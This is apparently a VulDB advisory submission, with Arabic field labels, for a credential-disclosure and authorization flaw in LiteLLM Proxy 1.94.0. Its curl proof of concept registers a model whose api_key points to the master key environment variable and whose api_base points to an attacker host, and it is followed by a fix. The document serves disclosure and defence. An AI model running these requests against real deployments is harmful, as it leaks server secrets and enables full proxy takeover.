| عنوان | BerriAI LiteLLM Proxy Server (LiteLLM Gateway) 1.94.0 Insufficiently Protected Credentials / Incorrect Authorization |
|---|
| الوصف | LiteLLM Proxy's POST /model/new and PATCH /model/update endpoints allow non-proxy-admin team administrators to register model credentials, but never validate the contents of litellm_params. A team admin can set api_key to an "os.environ/<NAME>" reference (e.g. os.environ/LITELLM_MASTER_KEY) and api_base to an attacker-controlled host. When the model is invoked, the proxy resolves the referenced server environment variable via get_secret() and sends it to the attacker-controlled api_base as the outbound Authorization header, disclosing arbitrary server secrets -- including the proxy master key, which yields full proxy-admin takeover. Affects version 1.94.0 (commit f1f33f560f) on enterprise deployments with STORE_MODEL_IN_DB=True. Not license-gated on the resolution sink; only the team-admin role requires an enterprise license.
Root cause: (1) add_new_model() / can_user_make_team_model_call() (model_management_endpoints.py:933-955,1234) authorizes the team-admin caller by role only, never inspecting litellm_params values. (2) get_secret() (secret_managers/main.py:314) resolves any environment variable name via os.environ.get() with no per-caller/per-team allow-list; _resolve_db_litellm_param() (proxy_server.py:5215-5222) applies this universally to DB-sourced (team-admin-authored) models.
PROOF OF CONCEPT (curl only):
Precondition: attacker already holds a low-privileged team-admin virtual key (KEY), scoped to a single team, with no legitimate access to the master key.
Step 0 - confirm the key is NOT proxy-admin:
curl -s -o /dev/null -w "%{http_code}\n" $B/global/spend/report -H "Authorization: Bearer $KEY"
-> expect 401
Step 1 - register a poisoned model, pointing api_key at a server secret and api_base at an attacker-controlled host:
curl -s $B/model/new -H "Authorization: Bearer $KEY" -H "Content-Type: application/json" -d '{
"model_name":"poc-exfil",
"litellm_params":{"model":"openai/gpt-4","api_key":"os.environ/LITELLM_MASTER_KEY","api_base":"http://ATTACKER_HOST:8000"},
"model_info":{"team_id":"'"$TID"'"}
}'
-> expect 200
Step 2 - wait ~8s for the router to load the new DB model.
Step 3 - invoke the model to trigger secret resolution and outbound exfiltration:
curl -s $B/v1/chat/completions -H "Authorization: Bearer $KEY" -H "Content-Type: application/json" -d '{
"model":"poc-exfil",
"messages":[{"role":"user","content":"x"}]
}'
-> HTTP 500 is expected and indicates SUCCESS: the proxy already sent the resolved secret to the attacker host as its outbound Authorization header before parsing the (deliberately invalid) reply. The error body ("Received: 'ok'") confirms the outbound request reached the attacker endpoint.
Step 4 - the attacker's listener (any HTTP server logging request headers) receives:
Authorization: Bearer <the proxy's LITELLM_MASTER_KEY value, or any other os.environ/<NAME> requested>
Verified live: capturing AWS_SECRET_ACCESS_KEY, LITELLM_MASTER_KEY, and an arbitrary sentinel env var all succeeded byte-for-byte, confirming unrestricted read of any server environment variable by a single-team, non-admin team-admin key.
Fix: reject any os.environ/ or secret-manager-prefixed value in credential-bearing litellm_params fields (api_key, api_base, headers) when the caller is not a proxy admin; alternatively scope secret resolution for non-admin-authored models to a per-team allow-list, and never permit LITELLM_MASTER_KEY to be resolvable via get_secret() for model credentials. |
|---|
| المصدر | ⚠️ https://github.com/user-attachments/assets/039cccbf-f4a5-460a-aec2-120049634200 |
|---|
| المستخدم | Gabriel Alves (UID 99209) |
|---|
| ارسال | 04/09/2026 02:41 AM (1 شهر منذ) |
|---|
| الاعتدال | 10/10/2026 05:40 PM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 416232 [BerriAI LiteLLM حتى 1.94.0 Secret Resolution secret_managers/main.py get_secret api_key تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|